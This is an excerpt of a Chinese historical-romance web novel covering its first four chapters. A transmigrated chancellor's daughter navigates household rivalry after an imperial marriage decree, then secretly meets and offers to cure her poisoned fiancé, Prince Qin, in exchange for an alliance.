《血与刀》
1. 两道赐婚书
六月上旬,火球似的太阳发出灼人刺眼的光,烧化了漫天绵云,中都城上空一派透蓝。
一丝风也没有,稠乎乎的空气像凝住了般,逼得人喘不过气。
相府敬方院。
屋子里新添的冰块冒着冽冽冷气,宋檩屈膝躺在靠窗的榻上小憩,绸扇遮面,酣眠正浓。
一抹粉色身影从院大门闪进主屋,竹遮帘被掀起,拍打在门檐上,发出刺耳的声音。
绸扇下的人呼吸轻盈,眉心升起一抹不耐,“何事如此慌张?”
“姑娘,宫里又来人了。”
上回王公公来府里宣读解除婚约圣旨时透过口风,宫里会有所安抚,才过去小半月就来,送慰问?
宋檩拿开绸扇,露出底下精巧的脸,眸底浮现与年龄不相符的深邃和淡然。
她用绸扇掩唇打了个哈欠,懒怠起身。
一身月牙白的裙子随意散落在小榻上,她将长发往后一拢,手指几番来回,扇柄稳稳插在发间,扎起了及腰的长发。
“可是王公公?”
林歌拿起案上的蒲扇轻扇,“正是王公公。”
“来了两道赐婚圣旨,一个是姑娘的,一个是二姑娘。”她说着话,手里的动作越来越快。
凌乱的发丝糊了一脸,宋檩扒开脸上的头发,面无表情地盯着她。
林歌向来稳重,极少这般失态。她眉心微挑,“又赐婚?”
“这回是秦王府。”林歌心里急,索性丢了蒲扇。
“我道宫里会给什么,原来是再给姑娘赐门婚事,那秦王府……”林歌识趣地闭了嘴。
虽是解除了婚约,在外人眼里,却是姑娘被皇家退了婚。如今又一纸诏书赐给秦王府,这般不清不白,往后姑娘在中都如何立足?
她偷瞄了眼宋檩,那脸上淡然的神情惹得她起了急色。
“姑娘有所不知,秦王府人丁凋零,老王爷早已离京,不问世事,只有小王爷在府里静养,鲜少出门。”
年纪轻轻就要静养?
“我记得秦王府是功勋之家,小王爷年纪轻轻为何静养?”
林歌诧异,想到她一闺中女子不知朝堂之事实属正常,心下了然。
“姑娘莫急,且听属下细细道来……”
争权夺利的腌臜事宋檩见过不少,明晃晃的卸磨杀驴,当真无耻。
自来到这个世界,林歌就在身边,说话做事还算合心意,若将人一直留在身边……她眯起了眼睛。
前世身为古阵法世家的少主,父母离世后,年纪轻轻的她用铁血手腕撑起摇摇欲坠的家族,将那些暗地里蠢蠢欲动的家伙治得服服帖帖。
奈何过度的消耗造成身体严重亏损,去世之时还不到三十岁。
她从不打没把握的仗,为了弄清当下处境,明白这个世界的生存法则,无奈之下用了“溯回”阵法,在原主脑子里走了一圈。
才知自己是大昭丞相与发妻的女儿,因外祖家出事母亲离世,父亲虽爱她,少了母亲庇佑的孩子在后宅生存处处碰壁。
去年流放北疆的表哥回到中都,恰逢胡人来犯,又匆匆赶赴西北,只派了林歌到她身边,面都没见上。
虽掌握了处境,她的身子却遭受重创,伤了根本,养了一年多才慢慢好起来。
宋檩起身伸了个懒腰,“爹爹怎么说?”
“皇命难违,相爷已经接了圣旨。”林歌停顿了一下,继续道:“相爷已告知王公公,姑娘身体抱恙,未必有那个福分。”
病重这招没用,上回派了太医诊脉,还不是照样又给赐了婚?
倒是宋姿这事有些微妙……
林歌满面郁色,殿下派她照顾姑娘,好容易出了虎穴,今又进狼窝。她欲再劝,却拿不准姑娘的心思,方才那个眼神,自己看不透。
她实在忍耐不住,豁了出来,“姑娘虽不在意,到底二姑娘得了太子这门亲事,侯氏母女一向又跟咱们不对付,少不得要在背后编排姑娘。”
“方才接旨的时候属下远远瞧了一眼,侯氏那嘴角都与脊兽比肩了!”
往常一天也听不到她这么多话,宋檩眼有诧异,拍了拍她的肩膀,全不在意道:“命里有时终须有。”
“走,去书房。”
听到这话,林歌暗淡的眼神立马恢复了光,“诶,这就收拾!”
宋檩往梳妆台前一坐,林歌手巧,很快就替她挽好了发髻。
“姑娘且等一等,容属下去厨房取些糕点来。”
宋檩眼瞧着她离开,无奈摇头,她那位便宜表哥调教人很是有一套,林歌是个有眼力的。
林歌去又来,手里多了个食盒,主仆一道往前院书房去。
书房重地闲杂人不得入内,长年有侍卫把守,却无一人敢拦阻宋檩。
府里“身体有恙”的大姑娘时不时出入书房一事,侍卫们早已习以为常。
宋檩识趣地停下来,淡笑道:“我来给爹爹送点心,劳烦通禀一声。”
外人如何说道他们管不着,身为相府侍卫,大姑娘在相爷心里的地位,他们比任何人都清楚。
首领展颜拱手让道,“相爷吩咐过,大姑娘来了直接进屋。”
话落,他抬手做了个“请”的手势。
宋檩微微颔首,接过林歌手里的点心盒子,兀自往书房门口去。
“是阿眠吗?进来吧。”正欲敲门,里头传来浑厚低迷的声音。
她秀眉轻皱,推开房门往里走,“是谁惹了美人爹爹不痛快?”调侃的声音夺门而入。
宋明书抬眸看向来人,气鼓鼓地瞪了一眼,轻哼着别过脸,不去搭理她。
宋檩摸了摸鼻头,将食盒放在桌上打开,幽幽道:
“刚出炉的绿豆糕,甜而不腻,软糯酥滑,爹爹当真不要来一块?”她打开食盒,取了点心碟子放到书案上。
宋明书看着那张熟悉的脸一愣,阿眠的容貌和卿卿有七分相似,想起已故发妻,他的眼里多了几分落寞。
十多年了,阿眠都长成了大姑娘。
宋檩了然,在椅子上坐下,就着荷花瓣捻起一块点心递到他跟前,“爹爹在想娘亲?”
被她道破心思,宋明书的脸上有点挂不住,努了努嘴,没有说话,只接了糕点。
父母亲情一事,宋檩向来淡薄,于她而言,责任高于一切,没了责任,她便活得没心没肺。
“定是王公公又提起了侯氏,惹了爹爹心里不痛快。”
宋明书心里苦,老天对他很不公,夺走了他的妻子,这些年活得一点儿也不自在,万幸还有阿眠陪在身边。
“阿眠是不是觉得,爹爹很没用,活得窝囊……”
宋檩摇头,“旁人如何想我不管,但在我心里,爹爹是这世上对我最好的亲人。”
她垂下眼睑,心中不忍,“这些年,为了我,爹爹受了
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太多委屈,我都知道。”
侯宛仪虽为姨娘,却执掌府里中馈,仗着一个逆鳞卫卫使的兄长,没少在府里耍威风,便是爹爹,也挨过她的冷嘲热讽。
偏侯氏又善妒,曾有下人私下谈起她母亲文夫人,传入侯氏耳中后直接三十大板发卖出府。
只要她不对自己下手,爹爹一向懒得计较,但母亲却是他们的死结。侯氏越在意,爹爹越不如她的意。
十多年来,侯宛仪仍是个姨娘,在外人眼里总是矮人一截。
侯氏若想达成目的,只能往外求助。
宋檩无奈摊手,“没办法,爹爹虽是丞相,耐不住天子近臣,相府得罪不起。”
宋明书脸色难看,侯氏什么身份,他再清楚不过,这样的人,断不能成为阿眠的嫡母!
依着他的性子,顶住压力不从,只要他保持中立,皇上不会拿他怎样,大不了多挨几回侯振培的白眼。
他二人的关系原也没多好,再坏又能坏到哪去?只是,阿眠怎么办?
宋檩眼有动容,前世她虽掌握整个家族,却每日里与阴谋诡计为伍,鲜少享受亲人爱护,宋明书待她好,她心里有数。
“爹爹的私事,女儿本不当过问,只是,二妹妹的身份不同以往,看在太子和宫里皇后的份上,相府合该给侯氏个体面。”
“何况,三妹妹四妹妹将来也得议亲,府里怎能连个主事的都没有?”
宋明书很明白,后院只有两个女人,平娘出身低贱,若非当年他怄着一口气,根本没资格踏进相府大门,如何当得起相府门面?
可要他就此屈服,实在咽不下那口气。
宋檩深明他的心思,眸子里闪过一丝精明,笑着道:“大昭律法,发妻有疾,可抬良妾辅掌中馈,侯氏掌家多年,没有功劳亦有苦劳。”
她眨了眨眼睛,笑得一脸无辜。
宋明书眸子一亮,阿眠的意思是……抬作平妻?
侯氏心心念念的无非就是个名分,她若识趣,便不敢声张。
宋明书理清了利害关系,摆了摆手,“此事为父自有主张,来说说你的事。”
宋檩拿了块糕点,轻轻咬了一口,不动声色道:“爹爹不是有了主意么?”
“那都是些推脱之词,岂能作数?”宋明书瞪了一眼,“阿眠,你一向主意多,心里到底如何想的?”
他也拿不准这个女儿的心思,自去年大病一场,就变得越发有主见。
“此番胡人大败,五殿下已在回京的路上,宫里少不得安排太医来府里,你若有主意就说出来,你我父女正好合计合计!”
虽不知她用了何种手段,宋明书确信她能躲过太医的看诊。只是这回牵扯到秦王府,若真把出个好歹,中都城怕是留不住她了。
他私心希望阿眠留在中都,哪怕真的嫁进秦王府。
宋檩掩去眸子里的郁闷,怎么偏偏此时回来?
虽说自己也能生活得很好,但那样太累,在相府做个无所事事的大姑娘就挺好。
没得到回应,宋明书也不敢一直问,他摸了摸下巴,笑着道:“秦王府只小王爷一人在京,无长辈妯娌,说来也是个不错的去处。”
宋檩郁闷地瞥他一眼,余光扫到一口也没动的糕点上,掏手抓了过来,“爹爹还要处理公务,阿眠就不打搅了。”
宋明书看了看空无一物的手,再看向离去的背影,他还一口没吃到呐!
2. 反被下马威
宋檩冷着脸往外走,林歌拎了糕点跟在后头。
才出书房大门没多远就撞见了宋姿宋沅姐妹,想是专门等着她。
搁平时宋檩懒得搭理,但今日她心情很不美,既然这两人撞上来,正巧让她发泄一番。
“见了长姐不行礼,二位妹妹真是好教养!”宋檩大摇大摆停在二人跟前,讽刺的话脱口而出。
林歌得了指令,很配合地上前一步道:“二姑娘三姑娘,我家姑娘是长姐,按大昭律法,你们该见礼,莫让外人觉得相府丢了教养。”
宋姿生来好强,独独出身是她的痛处,宋檩拿这个说事,无疑在剜她的心。
“你这话好没理!咱们在自个儿府上,又没外人,谁人会说道?”话虽是说给林歌的,宋沅却对着宋檩叫嚣。
“除非,有不良用心的人专门诋毁我们的名声!”说完,她不怀好意地盯着林歌。
宋沅唱了红脸,宋姿立马会意,故作拉了拉宋沅的胳膊,隐忍着福身道:“见过大姐。”
宋沅唯她命是从,心不甘情不愿地见礼。
宋檩铁了心跟她们一般见识,哪料她二人这么快就服了软,好生没劲,摆手淡淡道:“起来吧。还没恭喜二妹妹,要当太子妃了。”
宋姿眼里藏不住的得意和欢喜,她故作矜持,学着宋檩的模样道:“都是陛下和太子殿下抬爱,倒是……也恭喜大姐。”
宋檩眉头轻挑,精明了不少,看来五皇子要回京的消息已经传遍了。
“两位妹妹就不要去打扰爹爹了,我知你们心里想什么,回去等着吧。林歌,我们走。”
留下一句模棱两可的话,也不管那二人的脸色。
林歌回头看了一眼,宋姿和宋沅的脸色自是看在眼里。
她快步上前,跟在宋檩身后,不赞同道:“那侯姨娘未必会记咱们的好,姑娘何必帮她在老爷跟前说话?”
宋檩浑不在意地笑了笑,“我可不是在帮她。”只是不愿爹爹为难。
单单一个身份并不足以守住相府主母的体面,侯氏年纪不小,洛姨娘可还年轻着,往后的尊荣落谁家仍无定数。
丞相府两位女儿同时被赐婚的消息不胫而走,大昭京城议论纷纷。茶室酒楼,书肆饭馆,随处可见讨论声。
侯宛仪是个惯会借势的女人,往常她因着身份受尽了冷言白眼,如今终于正了身份。
虽比不得原配续弦,但原配已不在,女儿又是准太子妃,水涨船高,京中妇人少不得卖她几分面子。
近来相府收到的帖子足足有一尺高!
宋檩猫在敬方院里躲清静,偏有人见不得她闲。
尚在午睡,外间起了吵嚷声,本就燥热易怒的天气惹得她大动肝火,“林歌。”
听到叫唤,林歌知姑娘被吵醒了,眉头微皱,转身往屋里去。
“姑娘,侯夫人来了。”
她虽垂着脑袋,宋檩仍看出不对劲,正色道:“抬起头来。”
林歌微微抬了抬下巴,又快速低了头,宋檩的脸色极其难看。她站起身,手抬起她的下巴,明晃晃的巴掌印可真刺眼。
宋檩拽了她的手往门外去。
来到屋外,吵闹声瞬间消失。
她睨视着在场的每一个人,面无表情,眼神里透着股寒意,“谁打了林歌,自己站出来。”
侯氏领了人到敬方院,身后乌怏怏站了一堆,仗着她撑腰,根本没人将宋檩放在眼里。
宋檩的视线落在侯氏身侧的侍女脸上,眸子微沉。
她心下了然,嗤笑出声,“侯夫人到底上了年纪,记性大不如前,我来给你提个醒。”
“林歌虽在我身边,今日这一巴掌,下的却不是我敬方院的面子,侯夫人想给我找不痛快,也得把眼睛放亮些。”
侯氏今日过来的首要目的就是立规矩,往日敬方院的下人根本不由她使唤,林歌更是个硬茬,早看她碍眼。
虽说那巴掌印看着顺眼不少,把事情闹大绝非她本意。
侯氏心下惊疑,倒是忘了,林歌这丫头是五皇子的人。
宋檩若铁了心将此事闹大,宋明书定不会保她,指不定还得煽风点火,把事态闹得更大。
届时大不敬的帽子扣下来,天子一怒,她一个妇人如何扛得住?
几个眨眼的工夫,侯氏心里已经有了答案。
“春意,将冒犯了林歌姑娘的人拉出来,打二十板子。”侯氏掌相府多年,手底下自然不少,恐怕打的人和数的人都是她的。
宋檩看在眼里,走过场糊弄人那套在她这不顶用。“慢着。”
那个叫春意的婢女随意着人拉了个粗使丫头就往门外去,在他们快要踏出院子的前一刻被人叫住了。
相府大姑娘的身份摆在这里,又有相爷额外爱护,下人们再怎么给侯夫人面子,也不敢轻易得罪她。
“宋檩,我已经罚了,你还有什么不满?”侯宛仪挺了挺胸膛,犀利的眼神扫过林歌,“她既来了相府,自当守相府的规矩。”
这才做夫人没多久就要给她下马威,宋檩拍了拍手掌,嘴角扬起一抹弧度,轻哼道:“夫人好大的威风啊!”
“林歌到底犯了哪条规矩,竟惹得侯夫人直接打人?”
她盯着侯氏,又看向一边一副“你能把我怎么着”神态的春意,冷哼道:“若林歌当真犯下大错,我自会罚她。”
“侯夫人觉得我不公允,大可请爹爹来,将她遣送回府,交由该处置她的人去处置。”
“倘侯夫人仍不放心,咱们也可入宫,请圣上明断。如今的行为,倒让人觉得,有公报私仇之嫌。”
无论是姨娘还是夫人,宋檩对侯宛仪从来没有惧怕,她短短三十年的人生里从来没有怕这个字。
听到入宫,侯氏只觉得离谱。她才成为主母没几日就将事情闹大,旁人会如何看待自己?
心思百转间,她闭上了眼睛。
春意知自己已经成为弃子,慌乱跪在地上,惊呼出声,“夫人救命啊!奴婢可唔……”
宋檩一记眼刀子过去,林歌立马招呼人堵住了她的嘴,求救的话悉数化作呜咽声。
侯氏没料到宋檩会先一步堵住春意的嘴,从惊慌中缓过神来,咬了咬牙根,狠下心道:“春意妄图挑衅皇家威严,乱棍打死,抛尸乱葬岗!”
“大姑娘意下如何?”
“侯夫人当家,处置自是公允。”宋檩轻笑出声,“只是,稍加惩戒便可,不必如此大动干戈。”
“你要如何?”她一张嘴,侯氏就紧张。
宋檩递了个眼神,林歌会意,放开了春意。
刚在死亡线上走了一遭,春意吓得面容失色,哆哆嗦嗦跪在地上,不停地磕头。
一个匍匐在地被抛弃的人,犯不着再去落井下石。
她亦步亦趋,停在距春意一步之遥的地方,“抬起头来。”
春意缓缓抬头,额头磕破了皮,早没了昔日趾高气扬的光景。
宋檩暗暗吐了口气,眼神掠过春意的额头,“你打了林歌,她若谅解你,我不会再为难你。”
夫人要将她打死,如今捡回一条命,于她已是万幸。
春意对着林歌就要磕头,还是林歌硬将人拉拽起,一个字都没说,急匆匆去追宋檩。
“姑娘今日心情不错。”
听了她的话,宋檩默默端起身侧的两只手,余光斜了她一眼,漫不经心地往前走,“小没良心的,你家姑娘都被人赶出了院子,还能心情不错?”
林歌往身后看了眼,亦步亦趋跟在她身后,“等闲岂能影响姑娘的心情?”
“那你说说,我因何心情好?”
林歌想了想,摇了摇头。她在姑娘身边这一年时间,虽相处不错,却也不敢冒犯。
不过她
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猜想,应是想出了应对之策。
“五殿下回京后,你随他去吧。”
林歌听后微愣,而后惊愕地看着她,屈膝跪在地上,“姑娘,可是属下哪里做得不好?”
宋檩将她扶起,叹气一声,“你做得很好,可你毕竟不是相府的人,我若真嫁去秦王府,你何须留在相府?”
“属下既跟了姑娘,自是姑娘去哪我就去哪,护姑娘周全是林歌的本分。”她一脸严肃道,眼神坚定。
听了她的话,宋檩松了口气。林歌若离开,一时间她身边并没有得力之人,只是……
“你既决定跟着我,须得明白一个道理,往后我的一切,没有允许不可告知任何人,包括五殿下,可能做到?”
林歌抬头,殿下并不会伤害姑娘,只要姑娘安全,甚至不会过问任何事情,姑娘特意说出来,定有深意。
宋檩毫不避讳她的打量,等着她的答案。林歌过了好一会儿才点头,显然经过一番挣扎。
“出来有些时候了,回去!”宋檩打了个哈欠,折身往回走。
林歌跟在身后,她感觉姑娘的心情更好了。
热热闹闹的敬方院又恢复了安宁,宋檩伸了懒腰,“才走了一会儿汗就往下掉,还是屋里舒服。”
她接过林歌递来的丝帕擦鬓角的汗,两人有一搭没一搭地聊天,不时传出笑声。
院门口走来一个人,林歌立马收了笑,“姑娘,洛姨娘来了。”
宋檩挑眉,她这敬方院今日竟成了香饽饽,来了一个又一个。
洛姨娘青楼出身,样貌身段自是没的说,她素来行事低调,但能入得相府,显然不止于美人爹爹和侯氏的矛盾。
宋檩细细打量起来,她只和洛姨娘见过两回,去年的中秋和除夕,一家人吃饭,洛姨娘候在一边。
跟侯氏的张扬比起来,她的手腕实在不显山不露水。
“今儿是什么风,竟把洛姨娘吹到我这敬方院来了?”宋檩招呼林歌看茶。
洛姨娘只半坐在凳子上,两眼直直盯着她,抿嘴一笑:“大姑娘平日里对漓儿多有照拂,妾身早该来了。”
身后婢女将红漆匣子放下,打开,里头放着些珠宝首饰。
宋檩瞄了一眼,做工精巧,都是经典的样式,算得上压箱底的家当。
“这是何意?”她抬了抬下巴,眸子深邃。
洛姨娘笑道:“妾身知大姑娘不缺稀罕物,这点东西未必看上眼,但这是妾身的一点心意,都是干净的,大姑娘莫嫌弃。”
宋檩眯起眼,这架势可不像是来送礼的。
“四妹妹性子静,等闲也见不到几回,哪里说得上照顾?”
“漓儿这孩子瞧着乖巧,却很是执拗,妾……身份低微,帮不了她什么,往后的日子,还得大姑娘多多照拂。”
宋檩眉眼轻挑,总算明白过来。以往侯氏和洛氏都是姨娘,宋漓能养在她膝下。
今侯氏扶正,相府有了嫡母,宋漓的一概事宜便不由她这个姨娘说了算。放眼整个相府,除了美人爹爹,约莫只有这敬方院是侯氏无法插手之处。
依着侯氏的性子,宋漓以后的夫家只怕不会很好。
虽不清楚侯氏和美人爹爹之间的恩怨,可宋檩明白一点,年轻亦是本钱。
她来到洛姨娘身边,将红漆匣子关上,往一旁推了推,语重心长道:“都是自家姐妹,我能帮必定会帮。”
“这些东西姨娘且拿回去,给四妹妹添嫁妆。”
洛姨娘盯着她,半是疑惑半是难过。
“侯夫人当家这些年,为人处事姨娘都明白,但也不必气馁。”
她停顿下来,身子微微前倾,“爹爹正值壮年,姨娘还年轻,过个几年,妹妹们都出嫁了,府里难免冷清。”
洛姨娘眼皮微掀,眼里立时有了光。
她躬身行礼,“妾身谢大姑娘。”
3. 夜探秦王府
夜色深沉,秦王府的后花园一片寂静,偶有几声虫鸣,划破寂静慵懒的夏夜。
墙边一道黑色的影子悄悄移动。
林歌说什么也要跟着来,她费尽口舌才把人派去别处。
宋檩叹气,过去一年太清闲,现下突然忙起来,她还没想好如何解释阵法一事。
林歌非等闲之辈,将她放出去的用处远大于留在身边。
宋檩蒙了面,几个诡异的闪身,院墙之下空无一人。
她虽无内力,也不会轻功,但只要近了身,一招毙命不在话下。加之出神入化的阵法,这府里的侍卫根本不能奈何她。
“快!快走!”
宋檩正在游走,偌大的王府后院没有一盏灯,月色如银,如缟素般的光华,洋洋洒洒镀在每一块砖瓦上。
一阵骚动传来,她闪身躲在了假山后。
片刻工夫又陷入沉寂。
宋檩觉出异样,从假山后探身,入眼便是如苑两个大字,闪身进了院子。
如水的银辉倾洒大地,满园的花木披上了一层梦幻纱衣,影影绰绰,一派朦胧。
屋檐上一盏红灯笼高高垂挂,窗几内黑漆漆的。趁无人发现,她悄悄推开房门。
屋子里什么也看不见,正待掏出火石,一道刺眼的白光划破黑暗,往她头上劈来。
宋檩感知到危险,只手撑地,借力腾空而起,躲过剑锋的袭击。
她背靠门墙,警惕地凝视剑锋的方向,一股令人作呕的血腥味涌来,惊得她捂住嘴。
“好汉呕……”
“……”
屋子里的人没了动静,宋檩干呕了一阵,才摸索着去寻门。正要推开房门溜之大吉,一柄长剑抵在了颈间。
黑暗中看不清楚,宋檩却能真切感知到,眼前这人的状态很不好,哪怕对方刻意隐藏,紊乱又急促的呼吸仍被她捕捉到。
“别动。”
“不动!”宋檩站直了身子,哂笑出声,“有话好说,何必动刀动剑呐?”
她被人抵在了门处,退无可退,只能拿手点了点剑身,指尖传来透骨的冰凉,惊得她唏嘘缩回手。
黑暗中,瞿昙把一切看在眼里,拿开剑嗤笑出声,“想活命就赶紧离开。”
宋檩并不知自己的一举一动早已落入他人眼,敏锐的嗅觉告诉她,眼前的男人中了毒。
从方位上看,如苑是王府主院,此人又恰好在此,应当就是自己要找的人。
宋檩心思微动,欲从怀里掏出火石燃烛火,却发现跟前的人狂躁起来,似乎很痛苦。
“你……怎么样?”
“走!”从牙缝里挤出来字,瞿昙跌坐在地上,不受控制地捶打头部。
“你做什么!”宋檩去扯他,却被甩了出去。
她意识到这个男人已经失去了理智,狠心咬破左手拇指,往右手掌心一按,嘴里念念有词,掌心劈向瞿昙的天灵盖。
宋檩强忍着胸腔不适,足足坚持了一刻钟,一股腥甜涌入口腔,不得不停止手里动作。
她扭头啐掉嘴里的血,欲继续方才的事情。
“住手。”
一番折腾后瞿昙的症状得到缓解,意识清醒的他觉察出宋檩的不对劲。
不知用了什么法子,竟对他的毒有用,可眼前的人明明一丝内力也无,再这样下去非死不可!
瞿昙瘫坐在地上,倚着桌腿喘气,“你是何人?来王府做甚?”
既然人已经清醒,应是性命无碍,宋檩收回手,捂着自己的心口,“碰到姑奶奶我,算你走运!”
话落,她拉开房门。
一身黑衣的女子迎风立于门前,月光把她的影子拉得很长。
想起此番前来的目的,宋檩懊丧回头,“想知道我的身份,三日后星月茶楼,一去便知。”
不待身后的人回答,宋檩从如苑消失。
惊风赶到的时候,瞿昙已经摇摇晃晃起了身,借着桌子喘气。
“王爷!”
才过子时,若非觉出异样,他断不会在这个时辰进如苑大门。
见到已经恢复意识的王爷,惊风不敢置信地揉了揉眼睛。
“还愣着做甚?过来!”瞿昙别开眼,不想看他的傻样。
惊风握住腰上佩剑,屁颠颠跑上前搀扶了人,眼里的震撼和疑惑仍在。
“去叫黎樾来。”瞿昙懒得跟他计较,索性把人打发走,省得碍眼。
“属下这就去请黎神医!”
惊风把人安顿在榻上,又燃了烛火,才匆匆跑去寻人。
片刻后,黎樾到了如苑,惊风拎着他的药箱,身后还跟着桑无疾。
他扫了眼榻上坐着的人,挣开被惊风夹住的肩膀,理了理被拽下肩膀的外衫,才夺过自己的药箱,不急不缓走向瞿昙。
“黎神医,王爷怎么样了?”
惊风没将先前的异样说出来,一门心思扑在他家王爷的身体上。
相比之下,桑无疾的眼神里更添几分玩味。
“王爷这是得了什么新际遇?”
瞿昙没搭理他,眼神幽幽望着窗外,不知在想些什么。
黎樾两耳不闻窗外事,精力全放在指腹下滚动的脉息上,黝黑的眸子里平静无波。
烛火发出噼里啪啦的声音,所有人的心思都沉在黎樾的两根手指上。这是他把过的时间最长的脉。
反复确认后,长舒了口气,撤回自己的手,在一双双担忧的眼神下缓缓开口,“症状确有缓解。”
他的话让在场的人喜上眉梢。
惊风见他神情仍旧凝重,眼底的笑慢慢收敛,“黎神医,你先前不是说王爷的毒……”
目前无解他没说出声。
黎樾扫了他一眼,视线落在那张云淡风轻的脸上。
“我先前开的药能压制住你体内的毒,如今……症状有所缓解,但也激发了毒性。”
“会怎样?”惊风一脸急切地盯着他。
黎樾摇头,“说不准,也许频发,也许变重,也许……”
也许怎样他没说,两眼直直盯着瞿昙,“我们不在的一个时辰里,如苑发生了何事?”
惊风眨巴着眼,倏地拍向脑门,他竟然把这事给忘了。
“方才属下们在外边看到一抹诡异的黑影……”
“你怎么不早说?”桑无疾拿扇子往他脑门上敲了一下,掩不住眼里的怪责。
惊风摸着脑袋,一脸委屈地看向自家王爷。
瞿昙眼神深邃,脑子里浮现月光
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下的身影,她虽蒙着面,那双星星眼却很耀眼。
黎樾拿了笔纸在一旁写方子,一个大胆的想法呼之欲出,笔尖微顿,头也不抬道:“温和疗法治标不治本,这世间多的是能人异士。”
黎樾的话像根刺,狠狠扎在心尖,痛得他浑身痉挛,眼底却隐隐燃起暗火。
他仰躺在榻上,两眼无神望着屋顶,低声呢喃,“三日后就知道了。”
宋檩一出秦王府就扯了面巾,擦掉嘴角血渍,往相府而去。
林歌回到敬方院,黑灯瞎火没见到人,又担心又害怕,担心姑娘不在府上的事被发现影响声誉,害怕她受伤自己不在身边。
是以宋檩一回到敬方院就被她发现了。
“姑娘!”她搀着人就往屋里走。
烛火映衬下,那张脸更显苍白。
“热水已经备好,姑娘要不要沐浴?”
宋檩摆手,示意她退下。
林歌候在盥洗室外,听到水花声才入内。
伺候着穿上屏风上的里衣,拿了干帕子绞头发,柔声汇报查来的消息。
宋檩斜坐在榻上,只手撑着脑袋,眼睛乜斜着,有一搭没一搭地盯着桌上烛台。
待绞干了头发,林歌发现她心情还不错,捏了捏手里的帕子,心一横问道:“姑娘去秦王府可还顺利?”
又是这个令人头疼的问题,宋檩揉了揉眉心,缓缓起身。
“人见着了,事情有点棘手。”
林歌上前挑起纱帐,细声道:“中都城有关秦王府的传言颇多,但秦小王爷回京后行事做派相当低调,一直居府休养,旁的就没什么了。”
那血液都快闻不出原本的味道了,可见中毒之深,合该居府休养。
她虽不懂毒,却也能看出那毒的霸道之处,长此以往,性命堪忧。
从今晚的接触来看,秦小王爷倒是个明事理的主,倘若与他合作,应当是个不错的选择。
宋檩就势躺下,掩唇打了个哈欠,“秦王府可有掺和进朝堂之事?”
林歌拉起一旁的薄毯子,摊开后搭在她身上,摇头道:“秦王府倒是跟咱们府上一样,并未站队。”
上位者的心思昭然若揭,宋檩叹气,“你也去睡吧,接下来几天咱们闭门不见客。”
林歌抿了抿嘴,嘴边的话没问出来。她有一种姑娘又回到了先前那种休养的状态,定是秦王府这趟发生了什么她不知道的事情。
三日后。
宋檩一袭翡翠烟罗绮云裙现身星月茶楼,茶楼掌柜告知她已经来了人。
二人默契上楼,林歌与她对视一眼,手不自觉放在了腰间佩刀上,另一只手推开了房门。
屋子里有两个人,一个坐着一个立在身后,站着的人看向她们一脸防备。
宋檩走到对面坐下,林歌关上房门,来到她身后站定。
二人对窗静坐,桌上香炉缭绕,窗外街巷熙熙攘攘,马蹄声、叫卖声不绝于耳。
瞿昙拎起茶壶倒了两杯茶,一杯推向对面,一杯留给了自己。
宋檩摘下帷帽,递给身后的林歌。
“小王爷,我是宋檩!”
瞿昙应声抬头,撞入一双带笑眼眸,隔着桌子,能清晰看见眸子里的自己。
4. 我们的诚意
他一身青袍,长发用玉冠束起,眉心舒展,两眼似水,脸色和唇色都偏白,阳光打在他身上,徒添几分病态美。
宋檩眨巴着眼,看来那毒对他的影响很大。
只是,他怎么一点反应都没有?
那天晚上如苑出来的人竟是宋府大姑娘,王爷的未婚妻!也就是说,未来王妃可以救王爷!
惊风掩不住喜悦,却发现自家王爷正对着未来王妃发呆!
他重咳了两声,提醒王爷回神。
瞿昙眼眸微动,端起茶杯抿了一口,掩饰自己的尴尬。
“原来是宋姑娘。”
明明是两个有婚约在身的人,此时却客气得跟初相识的陌生男女般,惊风暗暗着急。
他家王爷没跟女子相与过,可千万别劝退了未来王妃啊!
宋檩没料到他的反应如此平平,一时之间拿不准他的心思。谈判一事,她历来以诚待人,不论对方在想什么,该有的诚意她会有。
那就先从他倒的这杯茶开始吧。宋檩端起桌上的茶杯,在对方疑惑的眼神下一口喝干。
她将空荡荡的茶杯放在桌子上,坐得端端正正,似是下了某种决心。
“这是我的诚意。”
瞿昙看了眼空杯子,明白了她的意思,也将杯子里的茶喝完。
“今日约小王爷在此,是……”
“我是瞿昙。”
正在说的话突然被打断,宋檩一脸怔愣地望着他,“啊?”
“这是我的诚意。”瞿昙笑了,眼尾扬起了一抹弧度。
“……”原来是在回应她的话,宋檩暗暗咽了咽口水,“那我们……继续?”
瞿昙抬手打断了她,又拎起茶壶,给二人的杯子蓄满茶水。
宋檩眉眼微蹙,疑惑地凝视着他。
“宋姑娘,咱们先来谈谈三日前的那个晚上的事。”他眉眼轻弯,看似无害的眼神让她噎住。
她紧抿唇瓣,眼神里多了几分探究,“去秦王府自然是见小王爷。”
“圣旨已下,你我的婚事满城皆知,小王爷久居府内,或许还不清楚我的情况,我是个刚被太子退了婚的人。”
“所以,宋姑娘那晚是来说退婚之事的?”瞿昙把玩着手里的茶杯,说出的话意味不明。
宋檩默默收回放在桌上的手,在对方看不见的地方紧紧攥着。
那天晚上去秦王府意在试探,她的手里全无筹码,何来合作一说?若真要谈判,自己毫无胜算。
好在,她的运气一向不错,碰上了瞿昙毒发。
经过那次,他体内的毒也算有所了解,拔除并不难。
过硬的业务能力就是底气,宋檩抬起了高傲的头颅,自然地咧嘴一笑,“小王爷,就去的事就让它过去吧,当下才是最紧要的。”
“给我一年时间,我可以治好小王爷的毒。”
以自己当下的实力,想要彻底拔除他体内的毒素只需月余时间,可她自己付出的代价太大,太不划算。
更何况,她需要一年的时间为以后谋划。
听了她的话,瞿昙并没有太大波动,拿不准是早就料到如此,还是压根儿不信她。
宋檩猛吸了口气,决定下一剂猛药。
“半年,半年时间也可以。”
他可以不信自己,但他身后的人绝不会放过这个万一的机会。
“宋姑娘,你当真可以解了王爷体内的毒?”惊风眼里饱含热泪,太好了,王爷有救了!
初步效果已经达到,宋檩的嘴角浮起一抹难以觉察的弧度。
“自然,我可以……”
“你想要什么?”迟迟未有反应的瞿昙终于有了反应。
说到重点了。
宋檩两手一摊,叹气道:“我如今的身份,自知配不上小王爷,无奈圣旨赐婚,秦王府和相府都担不起抗旨的后果。”
“如今,你的毒我能治,咱们自然可以合作共赢。”
拔除他的毒素还有几个月的时间休养,趁着那些安生日子好好筹谋,以后和离了也有足够的底气生存。
上辈子为家族所累,困在一个地方一辈子,今生她想离那些糟心事远远的。
“你想怎么治?”瞿昙的声音有些沙哑,似是下了很大的决心。
宋檩激动地想要尖叫出声,有了他的承诺,至少还有一年的时间可以和爹爹相处。
秦王府到相府并不远,她贪恋这份意外的亲情。
